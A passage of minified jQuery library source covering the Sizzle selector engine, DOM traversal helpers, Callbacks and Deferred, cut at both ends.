r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){d()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{q.apply(S=O.call(w.childNodes),w.childNodes),S[w.childNodes.length].nodeType}catch(e){q={apply:S.length?function(e,t){j.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,u,l,c,f,h,y,m=t&&t.ownerDocument,C=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==C&&9!==C&&11!==C)return r;if(!i&&((t?t.ownerDocument||t:w)!==p&&d(t),t=t||p,g)){if(11!==C&&(f=K.exec(e)))if(o=f[1]){if(9===C){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&b(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return q.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return q.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!k[e+" "]&&(!v||!v.test(e))){if(1!==C)m=t,y=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=x),u=(h=a(e)).length;while(u--)h[u]="#"+c+" "+ye(h[u]);y=h.join(","),m=J.test(e)&&ge(t.parentNode)||t}if(y)try{return q.apply(r,m.querySelectorAll(y)),r}catch(e){}finally{c===x&&t.removeAttribute("id")}}}return s(e.replace($,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function ue(e){return e[x]=!0,e}function se(e){var t=p.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function de(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pe(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return ue(function(t){return t=+t,ue(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},d=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==p&&9===a.nodeType&&a.documentElement?(p=a,h=p.documentElement,g=!o(p),w!==p&&(i=p.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=se(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=se(function(e){return e.appendChild(p.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=G.test(p.getElementsByClassName),n.getById=se(function(e){return h.appendChild(e).id=x,!p.getElementsByName||!p.getElementsByName(x).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},y=[],v=[],(n.qsa=G.test(p.querySelectorAll))&&(se(function(e){h.appendChild(e).innerHTML="<a id='"+x+"'></a><select id='"+x+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+I+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+I+"*(?:value|"+H+")"),e.querySelectorAll("[id~="+x+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+x+"+*").length||v.push(".#.+[+~]")}),se(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=p.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+I+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(n.matchesSelector=G.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&se(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),y.push("!=",M)}),v=v.length&&new RegExp(v.join("|")),y=y.length&&new RegExp(y.join("|")),t=G.test(h.compareDocumentPosition),b=t||G.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===p||e.ownerDocument===w&&b(w,e)?-1:t===p||t.ownerDocument===w&&b(w,t)?1:c?P(c,e)-P(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],u=[t];if(!i||!o)return e===p?-1:t===p?1:i?-1:o?1:c?P(c,e)-P(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)u.unshift(n);while(a[r]===u[r])r++;return r?ce(a[r],u[r]):a[r]===w?-1:u[r]===w?1:0},p):p},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&d(e),t=t.replace(_,"='$1']"),n.matchesSelector&&g&&!k[t+" "]&&(!y||!y.test(t))&&(!v||!v.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,p,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==p&&d(e),b(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==p&&d(e);var i=r.attrHandle[t.toLowerCase()],o=i&&D.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(A),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:ue,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return X.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&U.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+I+")"+e+"("+I+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace(W," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),u="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,s){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",v=t.parentNode,y=u&&t.nodeName.toLowerCase(),m=!s&&!u,b=!1;if(v){if(o){while(g){d=t;while(d=d[g])if(u?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?v.firstChild:v.lastChild],a&&m){b=(p=(l=(c=(f=(d=v)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1])&&l[2],d=p&&v.childNodes[p];while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if(1===d.nodeType&&++b&&d===t){c[e]=[C,p,b];break}}else if(m&&(b=p=(l=(c=(f=(d=t)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1]),!1===b)while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if((u?d.nodeName.toLowerCase()===y:1===d.nodeType)&&++b&&(m&&((c=(f=d[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]=[C,b]),d===t))break;return(b-=i)===r||b%r==0&&b/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[x]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?ue(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=P(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:ue(function(e){var t=[],n=[],r=u(e.replace($,"$1"));return r[x]?ue(function(e,t,n,i){var o,a=r(e,null,i,[]),u=e.length;while(u--)(o=a[u])&&(e[u]=!(t[u]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:ue(function(e){return function(t){return oe(e,t).length>0}}),contains:ue(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:ue(function(e){return V.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:pe(!1),disabled:pe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=de(t);function ve(){}ve.prototype=r.filters=r.pseudos,r.setFilters=new ve,a=oe.tokenize=function(e,t){var n,i,o,a,u,s,l,c=N[e+" "];if(c)return t?0:c.slice(0);u=e,s=[],l=r.preFilter;while(u){n&&!(i=F.exec(u))||(i&&(u=u.slice(i[0].length)||u),s.push(o=[])),n=!1,(i=z.exec(u))&&(n=i.shift(),o.push({value:n,type:i[0].replace($," ")}),u=u.slice(n.length));for(a in r.filter)!(i=X[a].exec(u))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),u=u.slice(n.length));if(!n)break}return t?u.length:u?oe.error(e):N(e,s).slice(0)};function ye(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,u=T++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,s){var l,c,f,d=[C,u];if(s){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[x]||(t[x]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===C&&l[1]===u)return d[2]=l[2];if(c[o]=d,d[2]=e(t,n,s))return!0}return!1}}function be(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xe(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],u=0,s=e.length,l=null!=t;u<s;u++)(o=e[u])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(u)));return a}function Ce(e,t,n,r,i,o){return r&&!r[x]&&(r=Ce(r)),i&&!i[x]&&(i=Ce(i,o)),ue(function(o,a,u,s){var l,c,f,d=[],p=[],h=a.length,g=o||xe(t||"*",u.nodeType?[u]:u,[]),v=!e||!o&&t?g:we(g,d,e,u,s),y=n?i||(o?e:h||r)?[]:a:v;if(n&&n(v,y,u,s),r){l=we(y,p),r(l,[],u,s),c=l.length;while(c--)(f=l[c])&&(y[p[c]]=!(v[p[c]]=f))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(f=y[c])&&l.push(v[c]=f);i(null,y=[],l,s)}c=y.length;while(c--)(f=y[c])&&(l=i?P(o,f):d[c])>-1&&(o[l]=!(a[l]=f))}}else y=we(y===a?y.splice(h,y.length):y),i?i(null,a,y,s):q.apply(a,y)})}function Te(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],u=a||r.relative[" "],s=a?1:0,c=me(function(e){return e===t},u,!0),f=me(function(e){return P(t,e)>-1},u,!0),d=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];s<o;s++)if(n=r.relative[e[s].type])d=[me(be(d),n)];else{if((n=r.filter[e[s].type].apply(null,e[s].matches))[x]){for(i=++s;i<o;i++)if(r.relative[e[i].type])break;return Ce(s>1&&be(d),s>1&&ye(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),n,s<i&&Te(e.slice(s,i)),i<o&&Te(e=e.slice(i)),i<o&&ye(e))}d.push(n)}return be(d)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,u,s,c){var f,h,v,y=0,m="0",b=o&&[],x=[],w=l,T=o||i&&r.find.TAG("*",c),E=C+=null==w?1:Math.random()||.1,N=T.length;for(c&&(l=a===p||a||c);m!==N&&null!=(f=T[m]);m++){if(i&&f){h=0,a||f.ownerDocument===p||(d(f),u=!g);while(v=e[h++])if(v(f,a||p,u)){s.push(f);break}c&&(C=E)}n&&((f=!v&&f)&&y--,o&&b.push(f))}if(y+=m,n&&m!==y){h=0;while(v=t[h++])v(b,x,a,u);if(o){if(y>0)while(m--)b[m]||x[m]||(x[m]=L.call(s));x=we(x)}q.apply(s,x),c&&!o&&x.length>0&&y+t.length>1&&oe.uniqueSort(s)}return c&&(C=E,l=w),b};return n?ue(o):o}return u=oe.compile=function(e,t){var n,r=[],i=[],o=k[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Te(t[n]))[x]?r.push(o):i.push(o);(o=k(e,Ee(i,r))).selector=e}return o},s=oe.select=function(e,t,n,i){var o,s,l,c,f,d="function"==typeof e&&e,p=!i&&a(e=d.selector||e);if(n=n||[],1===p.length){if((s=p[0]=p[0].slice(0)).length>2&&"ID"===(l=s[0]).type&&9===t.nodeType&&g&&r.relative[s[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;d&&(t=t.parentNode),e=e.slice(s.shift().value.length)}o=X.needsContext.test(e)?0:s.length;while(o--){if(l=s[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),J.test(s[0].type)&&ge(t.parentNode)||t))){if(s.splice(o,1),!(e=i.length&&ye(s)))return q.apply(n,i),n;break}}}return(d||u(e,p))(i,t,!g,n,!t||J.test(e)&&ge(t.parentNode)||t),n},n.sortStable=x.split("").sort(A).join("")===x,n.detectDuplicates=!!f,d(),n.sortDetached=se(function(e){return 1&e.compareDocumentPosition(p.createElement("fieldset"))}),se(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&se(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),se(function(e){return null==e.getAttribute("disabled")})||le(H,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var N=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},k=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},A=w.expr.match.needsContext;function D(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var S=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function L(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return s.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(L(this,e||[],!1))},not:function(e){return this.pushStack(L(this,e||[],!0))},is:function(e){return!!L(this,"string"==typeof e&&A.test(e)?w(e):e||[],!1).length}});var j,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||j,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:q.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),S.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,j=w(r);var O=/^(?:parents|prev(?:Until|All))/,P={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!A.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?s.call(w(e),this[0]):s.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function H(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return N(e,"parentNode")},parentsUntil:function(e,t,n){return N(e,"parentNode",n)},next:function(e){return H(e,"nextSibling")},prev:function(e){return H(e,"previousSibling")},nextAll:function(e){return N(e,"nextSibling")},prevAll:function(e){return N(e,"previousSibling")},nextUntil:function(e,t,n){return N(e,"nextSibling",n)},prevUntil:function(e,t,n){return N(e,"previousSibling",n)},siblings:function(e){return k((e.parentNode||{}).firstChild,e)},children:function(e){return k(e.firstChild)},contents:function(e){return D(e,"iframe")?e.contentDocument:(D(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(P[e]||w.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}});var I=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(I)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],u=-1,s=function(){for(i=i||e.once,r=t=!0;a.length;u=-1){n=a.shift();while(++u<o.length)!1===o[u].apply(n[0],n[1])&&e.stopOnFalse&&(u=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(u=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==b(r)&&t(r)})}(arguments),n&&!t&&s()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=u&&u--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||s()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function B(e){return e}function M(e){throw e}function W(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var u=this,s=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(u,s))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,B,i),a(o,n,M,i)):(o++,l.call(e,a(o,n,B,i),a(o,n,M,i),a(o,n,B,n.notifyWith))):(r!==B&&(u=void 0,s=[e]),(i||n.resolveWith)(u,s))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==M&&(u=void 0,s=[e]),n.rejectWith(u,s))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:B,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:B)),n[2][3].add(a(0,e,g(r)?r:M))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],u=t[5];i[t[1]]=a.add,u&&a.add(function(){r=u},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),u=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&(W(e,a.done(u(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)W(i[n],u(n),a.reject);return a.promise()}});var $=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&$.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function 